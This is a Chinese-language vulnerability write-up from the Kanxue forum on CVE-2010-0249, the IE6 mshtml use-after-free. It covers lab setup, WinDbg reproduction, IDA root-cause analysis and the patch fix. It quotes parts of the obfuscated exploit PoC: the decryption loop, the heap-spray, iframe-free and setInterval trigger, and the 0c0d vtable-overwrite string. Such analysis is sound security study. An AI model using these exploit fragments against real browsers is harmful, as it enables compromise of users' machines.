漏洞分析 CVE-2010-0249
2023-11-25 17:40:4 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏


漏洞简介

漏洞编号:CVE-2010-0249
危害等级:高危
漏洞类型:缓冲区溢出
操作系统:Windows 2000/XP/2003/Vista Gold/2008/7/
软件名称:Internet Explorer
软件版本:6.0
漏洞模块:mshtml.dll
模块版本:6.0.2900.5512


环境配置

物理机(或者单独开一个虚拟机作为服务端)开启 IIS 服务作为网站服务器。

开启 IIS

◆控制面板 — 程序和功能 — 启用或关闭 Windows 功能

开启 Internet Information Services:

开启 Web 管理工具下所有选项;
开启万维网服务下所有选项。

开启 .NET Frameword 3.5 下所有选项。

◆控制面板 — 管理工具 — Internet Information Services (IIS)管理器(注意不是6.0的那个)

计算机名 — 网站 — Default Web Site — 启动(在最右边) — 浏览 *:80(http) — 此时应可以正确访问 windows 的测试网站。

Default Web Site — 右键 — 编辑绑定 — 添加 — IP地址填写本机 IP — 端口这里使用 80。

此时会发现浏览器中可以使用访问 localhost 访问页面,但无法使用刚才设置的 IP 访问,其实是还需要配置入站规则。

笔者在操作到这一步时还遇到一个错误,提示文件夹XXX无法写入,经检查根本没有这个文件夹,笔者根据提示手动创建了这个文件夹,并给与了 EveryOne 权限后不再提示该错误。

控制面板 — 防火墙 — 高级设置 — 入站规则 — 新建规则 — 端口 — 特定本地端口 — 80 — 允许连接 — 默认勾选域、专用、公用 — 名称设置为 IIS 规则即可 — 完成(如果是在虚拟机里搞可以直接把防火墙关了就行)。

再次在浏览器使用 IP 访问页面可以发现已经可以正确访问了,至此 IIS 已正确启动,下面开始搭建本次使用的服务器。

Internet Information Services (IIS)管理器 — Default Web Site — 停止。

Internet Information Services (IIS)管理器 — 网站 — 添加网站 — 设置网站名称 — 设置网站路径 — 设置网站IP为本机IP — 设置端口为80 — 完成。

将 poc.html 文件拷贝到网站路径中。

再次在浏览器使用 IP+poc.html 访问页面可以发现已经可以正确访问。

安装虚拟机

虚拟机使用 window xp sp3,建议从msdn下载镜像自己安装,笔者最开始用的别人做好的windows xp sp3 虚拟机 POC 无法正常运行,这里附上MSDN中的镜像版本 Windows XP Professional with Service Pack 3 (x86) - CD (Chinese-Simplified)。


漏洞复现

启动windbg并配置符号文件,使用 windbg 附加 IE 浏览器,执行 pochttp://192.168.0.113/Aurora.html?rFfWELUjLJHpP,等待windbg 断在mshtml!CElement::GetDocPtr+0x2:处,需要注意该 poc 的堆喷射并非每次都可以成功,如未在此处断下建议多尝试几次,如正确断下则代表漏洞已复现成功,此时可在 windbg 中使用命令.dump -ma dumpfile.dmp将异常信息全部 dump 到文件中,dumpfile.dmp 文件保存在 windbg 软件所在的目录中。


漏洞分析

可以通过栈帧,回溯漏洞的调用流程。
0:000> k
ChildEBP RetAddr
0012e358 7e44c4c8 mshtml!CElement::GetDocPtr+0x2
0012e37c 7e44c623 mshtml!CEventObj::GenericGetElement+0x9c
0012e38c 7e3af659 mshtml!CEventObj::get_srcElement+0x15
0012e3b0 7e2a8a23 mshtml!GS_IDispatchp+0x33
0012e430 7e2a88bf mshtml!CBase::ContextInvokeEx+0x462
0012e45c 75be1408 mshtml!CBase::InvokeEx+0x25
0012e494 75be1378 jscript!IDispatchExInvokeEx2+0xac
在 IDA 中查看地址 7e44c4c8 处代码,因为异常断在 7e278c85 处,所以显然是 7E278C83 的mov eax[ecx]出现问题,因为这只是一条 mov 指令,所以异常必然是对 ecx 解引用导致的,也就是说此时 ecx 的值是非法地址,为了清晰的观察 ecx 的值的传递过程,此时我们将 ecx 的值标记位 leak,我们倒着推一下 leak 这个值是怎么来的。
7E278C83 ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near
7E278C83 mov eax, [ecx] ; ecx = leak
7E278C85 call dword ptr [eax+34h]
7E278C88 mov eax, [eax+0Ch]
7E278C8B retn
7E278C8B ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
通过栈回溯,在IDA中跳转到地址 7E44C4BE,此时我们容易推出下列结论,leak = [esi]。
7E44C4BE push ebx
7E44C4BF mov ebx, [esi] ; leak = [esi]
7E44C4C1 mov ecx, ebx ; ebx = leak
7E44C4C3 call ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx = leak
7E44C4C8 mov eax, [eax+14Ch]
7E44C4CE mov eax, [eax+2Ch]
7E44C4D1 mov ecx, [eax+20h] ; this
继续向上回推,会发现 esi = [eax+n],eax = [ebp + var_8],此时我们暂且认为n为0,即 leak = [[eax]] = [[[ebp + var_8]]] 显然接下来我们需要关注 var_8。
继续向上推会发现其调用了函数 GetParam@CEventObj,而这个函数将 [ebp+var_8] 作为唯一参数,显然我们需知道这个函数中是否对 [ebp+var_8] 的值进行了修改,因为是作为参数压入了栈中,下面的代码中我们需要关注的其实是 [ebp+8],通过简单的代入可得到:[[参数1]] = this + 0x18。
回到调用 GetParam@CEventObj 函数处,可以轻松推导出 [[eax]] = this + 0x18,结合之前的推论 leak = [[[ebp + var_8]]],可得到最终推论 leak = [this+0x18]。
而函数 GenericGetElement 的 this 也就是 ecx 是由外界参数传入的,也就是说这个地址是可控的。


POC分析

前置知识

◆setInterval:可按照指定的周期(以毫秒计)来调用函数或计算表达式,setInterval方法会不停地调用函数,直到 clearInterval被调用或窗口被关闭。window.setInterval(调用函数,延时时间)。

◆event.srcElement:可以捕获当前事件作用的对象。

◆document.createElement:动态创建DOM元素并插入的已有的HTML中,函数接受一个HTML标签名称并返回Element 类型的新节点。

◆unescape:可对通过 escape() 编码的字符串进行解码。

POC解密

为了便于分析,我们不希望程序直接被执行,而是想看一下解密后的代码是什么,而解密后的代码保存在变量“NqxAXnnXiILOBMwVnKoqnbp”里面,我们可以先将上述代码注释掉,在它上面添加这样的一行代码,这里结合console.log() 方法可以将解密后的内容在控制台输出,使用浏览器执行这个网页文件,打开开发者模式中的控制台就可以看到解密后的内容了。
var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1);
var NqxAXnnXiILOBMwVnKoqnbp = '';
for (i=0;i<RXb.length;i++) {
NqxAXnnXiILOBMwVnKoqnbp += String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i%vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
//window["eval".replace(/[A-Z]/g,"")](NqxAXnnXiILOBMwVnKoqnbp);

逐步分析

1.onload 中调用 WisgEgTNEfaONekEqaMyAUALLMYW(event)
<span id="vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY">
<iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" />
</span>
2.该函数中分别执行了堆喷射、创建事件对象、释放iframe、延时调用
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX(); //堆喷射
lTneQKOeMgwvXaqCPyQAaDDYAkd =
document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz); //此处将事件对象创建了一份(引用计数加一)
document.getElementById("vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY").innerHTML = ""; //此处释放 iframe
window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo, 50);//延时调用,访问已经被释放的内存
}
3.重点在延时调用的函数,在这个函数中覆盖了虚表指针,导致再接下来的调用时
function nayjNuSncnxGnhZDJrEXatSDkpo(){
p = "\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i++)
{
MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = p; //将全局对象中的数据改为 0c0d0c0d(覆盖虚表指针)
}
var t = lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement; //获取一个已经置空了的对象
}


漏洞原理

尽管已经定位到了导致崩溃的位置以及函数的调用情况,但是我们还是要进一步探索出现漏洞的根本原因的,所以有必要研究一下IE浏览器在解析这个PoC网页的时候到底出现了什么情况。
通过刚才的分析我们知道,程序一开始调用了document.createEventObject为当前的event事件创建一个副本,因此我们不妨使用WinDbg的x命令来检查调试符号,这里可以找到两条结果,其中地址为0x7e216b2c的内容通过IDA查看,发现它是一种数据结构,所以程序只可能使用CDocument::createEventObject用于解析JavaScript代码中的document.createEventObject函数。所以不妨在IDA中来到0x7e383b3b位置分析一下副本的创建方式。来到该函数的末尾,可以发现它的主要功能是由CEventObj::Create来实现的。
0:000> x mshtml!*document*createEventObject*
7e216b2c mshtml!s_methdescCDocumentcreateEventObject = <no type information>
7e383b3b mshtml!CDocument::createEventObject (<no parameter info>)
在IDA中跳转到 7e383b3b,转换为伪代码后可以发现,实际调用的是 CEventObj::Create。
int __userpurge CDocument::createEventObject@<eax>(
GUID *a1@<esi>,
CDocument *this,
struct tagVARIANT *a3,
struct IHTMLEventObj **a4)
{

v8 = CDocument::Doc(this);
v9 = 0;
if ( a4 )
{
......
v7 = v9;
v5 = CDocument::Markup(this);
v4 = CEventObj::Create((int)a1, a4, v8, 0, v5, 0, 0, v7, 0);
return CBase::SetErrorInfo(this, v4);
}
v4 = -2147024809;
return CBase::SetErrorInfo(this, v4);
}

在 CEventObj::Create 中在申请堆空间后,会调用函数 EVENTPARAM::EVENTPARAM。
int __userpurge CEventObj::Create@<eax>(
int a1@<esi>,struct IHTMLEventObj **a2,struct CDoc *a3,struct CElement *a4,struct CMarkup *a5,
int a6,unsigned __int16 *a7,struct EVENTPARAM *a8,int a9)
{
......
if ( !v24 )
{
if ( a6 )
{
if ( !a8 )
goto LABEL_12;
v20 = (EVENTPARAM *)_MemAlloc(0xD8u);
if ( v20 )
v21 = EVENTPARAM::EVENTPARAM(v20, a8);//调用函数 EVENTPARAM::EVENTPARAM
else
v21 = 0;
*((_DWORD *)v12 + 6) = v21;
if ( v21 )
{
*((_DWORD *)v21 + 34) = v12;
goto LABEL_12;
}
}
else
{
v18 = (EVENTPARAM *)_MemAlloc(0xD8u);
if ( v18 )
v19 = EVENTPARAM::EVENTPARAM(v18, a3, a4, a5, a8 == 0, 0, a8);
else
v19 = 0;
*((_DWORD *)v12 + 6) = v19;
......
}
在分析 EVENTPARAM::EVENTPARAM 函数前先补充一下 EVENTPARAM 结构的知识。
CEventObj
+x04 _pparam; //EVENTPARAM *

struct EVENTPARAM
+x00 _pNode; // src element(CTreeNode)
+x04 _pNodeFrom // for move,over,out
+x08 _pNodeTo // for move,over,out

分析函数 EVENTPARAM::EVENTPARAM 可以看到,这个函数将参数二的数据拷贝到 this指针处,但是请注意,参数二中还包含着一个叫做CTreeNode的对象结构体,此处将CTreeNode对象拷贝,但是没有将CTreeNode的引用计数加一。
EVENTPARAM *__thiscall EVENTPARAM::EVENTPARAM(EVENTPARAM *this, const struct EVENTPARAM *a2)
{
......
qmemcpy(this, a2, 0xD8u); //内存拷贝
v3 = *((_DWORD *)this + 25);
*((_BYTE *)this + 169) &= ~4u;
......
return this;
}
我们已经弄清了漏洞的成因,所以我们尝试在windbg中观察漏洞的形成过程,看看事件对象是如何创建和保存的。其实在mshtml模块中是存在有一个用于创建不同元素的函数表的,它的地址是 7e21aa98。
在这个函数表中我们可以找到创建IFrame的函数,它的地址是 7E21ADC0。
回到虚拟机中在函数上下断点。
bu mshtml!CIFrameElement::CIFrameElement
这里所获取的CIFrameElement对象指针会保存在ecx寄存器中(利用IDA结合上下调用关系可以得知),也就是地址为0x01ca1710的位置,但由于现在还没有开始创建,因此这个地址中并没有内容。
然后我们在CTreeNode上也下一个断点,并通过栈回溯来观察一下。
bu mshtml!CTreeNode::CTreeNode
在这里,CTreeNode已经将刚才的CIFrameElement对象指针当作自己的第二个参数使用了。同时利用CTreeNode::SetElement函数将CIFrameElement类与CTreeNode相关联。此时可以再看一下0x01ca1710中的内容并进行解引用:
此时查看 7e25bc68 处可以看到,该指针最终指向的是“vftable”。
0:000> u 7e25bc68
mshtml!CIFrameElement::`vftable':
7e25bc68 bf002d7ecd mov edi,0CD7E2D00h
7e25bc6d a5 movs dword ptr es:[edi],dword ptr [esi]
7e25bc6e 27 daa
7e25bc6f 7e1a jle mshtml!CIFrameElement::`vftable'+0x23 (7e25bc8b)
7e25bc71 8c27 mov word ptr [edi],fs
7e25bc73 7e6d jle mshtml!CIFrameElement::`vftable'+0x7a (7e25bce2)
7e25bc75 df2e fild qword ptr [esi]
7e25bc77 7e3d jle mshtml!CIFrameElement::`vftable'+0x4e (7e25bcb6)
如果在我们之前提取出来的dump文件中,查看原本指向虚表的指针,即0x01ca1710位置,则可以看到如下数据:
0:000> dd 01ca1710
01ca1710 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1720 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1730 0c0d0c0d 0c0d0c0d 00000000 00000000
01ca1740 00000054 0c0d0c0f 0c0d0c0d 0c0d0c0d
01ca1750 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1760 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1770 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
01ca1780 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d


分析结论

在创建CEventObj时,会创建EVENTPARAM结构,如果新创建的CEventObj是从已有的CEventObj继承而来时,则这两个CEventObj事件的源相同。在新创建的EVENTPARAM结构的偏移0处的元素pNode(CTreeNode),将复制源CEventObj该处的值。

在补丁前,上述过程没有增加CTreeNode的引用计数,在精心构造的html中,有可能导致CTreeNode已经释放,而EVENTPARAM的pNode却仍然指向它,导致释放后重用。

补丁后,在EVENTPARAM::EVENTPARAM中,对上述情况作了处理,增加CTreeNode的引用计数,不会再导致问题。

看雪ID:简单的简单

https://bbs.kanxue.com/user-home-950902.htm

*本文为看雪论坛优秀文章,由 简单的简单 原创,转载请注明来自看雪社区

# 往期推荐

1、2023 SDC 议题回顾 | 芯片安全和无线电安全底层渗透技术

2、SWPUCTF 2021 新生赛-老鼠走迷宫

3、OWASP 实战分析 level 1

4、【远控木马】银狐组织最新木马样本-分析

5、自研Unidbg trace工具实战ollvm反混淆

6、2023 SDC 议题回顾 | 深入 Android 可信应用漏洞挖掘

球分享

球点赞

球在看


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458529430&idx=1&sn=ca811cbbc75e4ef8d98569a58116ca70&chksm=b18d1e1c86fa970a884fc93ce97da51d83ffb6b1d0e2e8556e032aa51e72178b5ed18e8b03dc&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh